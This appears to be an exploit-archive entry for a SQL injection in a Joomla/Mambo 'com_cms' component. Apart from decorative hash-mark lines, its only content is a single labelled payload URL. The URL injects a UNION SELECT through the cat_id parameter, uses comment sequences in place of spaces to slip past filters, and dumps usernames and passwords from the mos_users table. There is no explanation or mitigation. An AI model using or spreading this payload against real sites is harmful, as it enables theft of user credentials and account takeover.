###############################################################
###############################################################
################################################################
################################################################
EXPLOIT :
index.php?option=com_cms&act=viewitems&cat_id=-9999999//union//select//111,111,concat(username,0x3a,password),222,222,333,333//from/**/mos_users/*
################################################################
################################################################